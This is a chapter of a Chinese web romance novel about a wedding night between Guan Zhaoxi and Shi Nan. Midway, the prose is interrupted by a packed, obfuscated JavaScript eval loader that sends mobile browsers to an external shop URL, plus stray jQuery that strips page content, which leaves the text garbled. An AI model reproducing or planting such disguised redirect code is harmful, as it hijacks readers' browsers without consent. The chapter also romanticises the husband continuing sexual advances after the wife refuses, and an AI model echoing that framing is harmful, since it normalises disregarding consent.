婚礼的晚宴设在酒店临海的悬崖露台。
夜幕降临,整片印度洋沉入深蓝色的暮色之中,露台上成片白色鲜花与数以千计的烛光沿着蜿蜒的步道一路延伸,仿佛银河。
乐队演奏着舒缓的爵士乐,萨克斯与钢琴声交织在晚风里。宾客举着香槟穿梭其间,觥筹交错间,谈笑声几乎盖过了海浪。
关朝夕和施南一圈酒敬下来,施南已经喝了不少,脸上浮起淡淡的酒意。
杜昕娣见施南喝得已经微醺了,就特意嘱咐了关朝夕一句。
“朝夕啊,我们家阿南今天酒喝得多了些,你后面记得帮他挡一下。他肠胃不好,别让他把肠胃喝出问题了。”
施南紧紧抓住妻子的手,眉心拢起,目光投向母亲时有些不满:“您让她给我挡什么酒,她酒量不好。”
“你还怪心疼媳妇的,”杜昕娣微嗔了儿子一句,“妈不是担心你喝多了人不舒服么。”
施南目光一紧,立马偏过头,下意识朝关朝夕看去。
她嘴角扬着,没有接婆婆的话,眼底却没有笑意。
酒桌下,他手指紧紧扣住了她手掌,她不动声色地避开了。施南目光沉沉望着她没有说话,她只好让他牵紧了自己。
酒桌上,并没有人知道夫妻俩的小动作。
杜昕娣以为儿媳妇跟自己摆谱,脸色有些僵掉了。
此时,酒桌上只有杜昕娣、施南的伴郎-施朗、伴娘-温繁。
施朗是不会加入这种三姑六婆阵营的,可他又不愿意错过嘲笑施南的机会。于是他就老神在在地坐在酒席上不动了,他不动、温繁更不会动。
温繁果然就落井下石了“伯母,不行就让施朗帮忙带几杯嘛。”
施朗一句话也没说,慢条斯理地拿湿毛巾擦起了手。
这里的人,没人敢使唤施朗。
大家只能强行将话题继续聚焦在新婚小夫妻身上。关朝夕自己也喝了几杯酒,抬眸就能看到施朗撑着下巴,意味深长地笑着,她头疼得叹了口气。
长期定居在英国的施朗,几乎是不会参加家里这种聚会的。可弟弟结婚,施朗却回来了,还主动当了施南伴郎,这种事简直闻所未闻。
施朗当伴郎,那温繁就肯定要当伴娘的。关朝夕就找了三个伴娘,只有霍歌与她一条心,其他两个伴娘都是跟她不对付。施南那边比她好点,除了施朗不靠谱以外,另外两个一个是大学同学、一个也是施南的学弟。两人帮他挡了不少酒,现在都喝趴下了,躺在休息室里。
唯有施朗,喝的最少,比新郎官派头还大。让他喝酒他都是洋人做派,不来中国人那套。可来参加婚宴的人,几乎都是国内重要亲戚。最后反而变成了施南帮施朗挡酒了。
眼瞅着,婆婆面子挂不住了,关朝夕还是开口了:
“大哥别笑了,能帮帮施南嘛。”她拿起桌上的高脚杯,冲施朗扬眉,“实在不行,我们一起分担点?”
施南眼疾手快,扣住了她的手腕,低声道:“你别管了。”
他的掌心温热,力道却不轻,像是生怕她真的替自己喝。
关朝夕忽然笑了。
眼前的男人西装笔挺,喝了酒后那唇红齿白的脸反倒冲淡了几分平日里的阴沉,看起来竟有几分人畜无害的模样。
她微微倾身,借着旁人敬酒寒暄的遮掩,贴近他的耳边,红唇擦过他的耳廓。
“小施总,别逞强了。”她笑得意味深长,“否则,我会以为你是在借酒消愁。”
岑瑶今天出席了他们的婚礼。但身边多了个男伴--温家长公子,温冉。
温冉现在温家二当家,温敏先的儿子。现在在WenshiInternationalUnited任命CEO一职。
施南眸色骤然一沉,偏头瞥了她一眼,带着明显的警告,像是在提醒她适可而止。
关朝夕她像是什么都没察觉似的,反而顺势挽住了他的手臂,整个人亲昵地靠了过去。外人看来,是新婚夫妻耳鬓厮磨,只有施南知道,她是在在挑衅他。
这一幕,一丝不落地落进了主桌众人的眼里。
施朗终于抬起眼,视线在两人身上停留片刻。
悬崖外的烟花还在一轮接一轮地绽放,炸开的流火坠入无尽之海。
眼前这对新人并肩坐在漫天流光下,身后是浩瀚的海,头顶是不要钱的璀璨,眼里却只有彼此。岛上一切为他们而存在的人、事物,仿佛在他们眼底此刻是枯燥的。
他们像画家笔下浓墨重彩晕染的焦点。
美则美矣,却显得很无趣。
说到底,不过都是用金钱堆砌的浪漫罢了。
“弟媳都开口了。”施朗举起酒杯,扬声笑了,“那我这个做大哥的,就帮一帮呗。”
施南握着酒杯的手,指节微不可察地收紧。
关朝夕却像没看见似的,端起酒杯,隔着长桌遥遥朝施朗举了一下。
“那我就先敬大哥一杯。”
她仰头,一饮而尽。
过来敬酒的人,见到这一幕纷纷笑着打趣起来,有人追问施朗和温繁什么时候办婚礼,有人笑说今晚施朗双喜临门,气氛一时热闹非凡。
只有施南沉默地坐在那里,目光落在关朝夕空了的酒杯上,眸子很暗。
海面上,又一束烟花轰然盛放,整座悬崖酒店亮如白昼。
漫天璀璨之下,每个人脸上都挂着恰到好处的笑。
却各怀心思。
酒会结束后,关朝夕累得眼睛都睁不开了。施南送她回房间后,又被父亲一个电话叫出去了。
关朝夕洗完澡,给妹妹打了个电话。
仪式结束后,她突然就不见人影了,打电话也联系不上。
可关溪午电话一直是忙音。
洗完澡,关朝夕等妹妹电话,等得昏睡了过去。
梦里的画面总是很压抑,她凌晨三点时被噩梦惊醒了,发现房间空无一人。
更头疼的,是关溪午还是没回电话。
她望着漆黑的天花板,听着露台外的海浪声,很多人的影子在她脑子里止不住地晃,晃得她头昏脑胀的。
最后,她脑子里莫名其妙冒出了岑瑶的身影。
不知是不是施南有意安排,她与岑瑶始终没打过照面。施南也没有上去跟他们寒暄。
但其他人都有跟他们喝酒,能看出温冉人缘很好。杜昕娣和施启维似乎对他们俩在一起很满意。
这是关朝夕第一次见到杜昕娣与岑瑶相处。
讽刺的是,她们这对没有血缘关系的母女,甚至比她与温敏诗感情要好得多。
关朝夕闭上眼睛,想让自己停止思考。可一闭眼,又想起了余邱凛。
她思来想去,摸出了手机,想翻一翻还有没有别的办法联系上余邱凛或关溪午。
施南的名字,却突然在屏幕上闪烁了起来。
关朝夕盯着那两个字,手指悬在接听键上方。
手机一遍遍震动。停下不到半秒,又固执地响起。
像门外的人一样,认定她不会接,也认定她迟早会妥协。
她闭了闭眼,索性把手机扔到一旁。铃声终于停了。
可下一秒,门外传来一阵不轻不重的敲门声。
一下、两下、三下。
她知道,是施南在外头。
施南大概也知道,她是醒着的,还故意把门反锁了。
她靠在床头,脑子因为噩梦和酒意头痛欲裂。
门外的人没有再敲,只是不厌其烦地拨着她的电话,震动声一遍又一遍。
施南就这么陪她耗着。
最后,还是关朝夕先受不了他了。
她走到门边,拧开了反锁开关。
门刚打开一条缝,一只手便抵住了门。
还没等她反应过来,施南已经俯身,一把将她扛上肩。
她挣扎着要下来,施南手掌扣住她的小腿,力道不轻不重,刚好让她动不了。
他垂眸看着她,声音很平静,“你把你新婚丈夫锁房门外?”
“你又不回来,我不锁起来吗?”关朝夕偏过脸,“这是酒店,又不是家里。你别这么抱我,我头疼。”
施南好像在哪洗过澡了,身上没那么重酒气了,没有一点喝醉酒的样子。衣服也换了套干净的T恤和休闲裤,发梢还带着一点未干的潮意。
反倒是她,噩梦惊醒后整个人恹恹的。
施南把她放在了沙发上,半蹲在她面前,借着外面隐约的光,视线落在她的脸上。
“生气了?我回来进不来,给你打电话你关机。”他把她放在了沙发上,抬手轻轻拨开她散落在脸侧的头发,“只能去俞贤那边洗了个澡,再回来。”
关朝夕没有回答。
只是闭着眼,把脸偏向另一侧。
他俯下身,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786214|210036||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
抬手覆上她的后颈。身上淡淡的沐浴露,由远及近,缠住了她的呼吸。
他吻一点点落了下来,带着一贯的耐心,缓慢得近乎折磨。手臂也一点点在收紧,将她最后一点退路也拢进怀里。
没吻一会儿,她就泪眼朦胧的喘了起来。
与施南认识了13年,关朝夕最近才知道。
他在床上和平日判若两人。
平日里,他情绪藏得极深。可一旦卸下所有克制,他是极为专制,专制到偏执。
他不抽烟,也很少喝酒,生活规律得近乎刻板,唯一的消遣就是运动。
后来关朝夕才明白。他的情绪,不是没有,只是不对外人展示。
他喜欢用亲密来表达情绪。
而这种情绪,总有些不可理喻--
他好像对这件事有种病态的沉迷,甚至是随心所欲的。无论他们在何时、何地、多忙,他都会有兴致与她纠缠。
她无论愿不愿意,他总有办法让她败下阵来。
再回头想起同居那一年,她只觉得自己像个笑话。
出国前,两家便替她和施南定下了婚约。父亲因此默许了他们提前同居。
施南特意以她的名义,在新加坡买下一套大平层。
房子比他在美国住的那套更新,也更宽敞。从设计到装修,全都由她做主。
可真正住进去以后,她却再也没有了从前费尽心思撩拨他的念头。
她刻意躲着他,不愿和他独处,施南便陪着她耗。
她搬去客房,他默认,但他不许她搬出去住。
她每天上下学,司机都会准时停在校门口。
他不碰她、也从不过问她的行程,却把她的生活牢牢圈在自己看得见的地方。
两个人就这样断断续续冷战了整整一年。
直到婚礼临近,才和好了。
“认真点,朝朝。”
施南察觉到关朝夕没有投入,对待他的吻可以用冷淡来形容。
她淡淡地接了一句,“我今天很累。”
施南试图调动她的情绪。
“不行...”她按住他的手,挣扎地想起身,“你什么都没准备。”
施南没有应她,动作也没停。
关朝夕挣扎着按开了旁边的灯,想要叫停他。
橘黄色的灯光,她才看清他的脸。
他眼角破了。
“你眼睛这是怎么了?”
施南不理会她,握住了她的脚。他的手很凉,握住时,她向后缩了一下。
他最喜欢她现在这个样子,乖巧听话,又能感知到他的存在。会随着他的情绪波动,成为他一人独享的彩虹。
但她状态却又太安静了,安静到感知不到她的情绪。
凌晨四点的酒店房间全部熄灭了,唯有新婚夫妇的房间点着不会熄灭的灯。关朝夕的状态却是熄灭的,施南不得不停了下来。
“朝朝,你要听话,别总让我这么伤神。”
她咬了他肩膀一口之后,瞟了他一眼,眼里带着挑衅。
空气安静得只剩下彼此的呼吸。
几秒后,施南忽然俯身,一言不发地将她整个人抱了起来。
关朝夕与施南同居后,每天晚上失眠,白天精神很差。
办理婚礼前,终于熬不住把自己熬病了。又是因为经期量大,诱发了低血糖。
生病时,关朝夕正在和施南冷战,施南去英国出差了。
她没有告诉任何人,自己去了趟医院。医生检查后,让她住院,还打电话通知了她的紧急联系人--施南。
施南连夜从英国赶回来了。
自那以后,施南没有再去英国出差了。不忙的时候,他基本上都以她为重心,陪关朝夕做她喜欢的事,他们才慢慢和好了。
施南把手机调成了静音模式,又将手机屏幕反扣在了床头柜上。又顺手把房间总控灯全关上了,房间全部瞬间黑了,只能听到外面的海浪声。
“老公,找到了吗?”
他应了一声“来了。”
“谁来了?”
他在黑暗里抱起她,“我啊。”
“你是谁嘛。”
她拿胳膊肘横在他们之间,这是她后来常常对他做的肢体语言。
“你的施南。”
“不是,你不是我的施南。”她在落入情欲前抱住了他“你是我的丈夫。”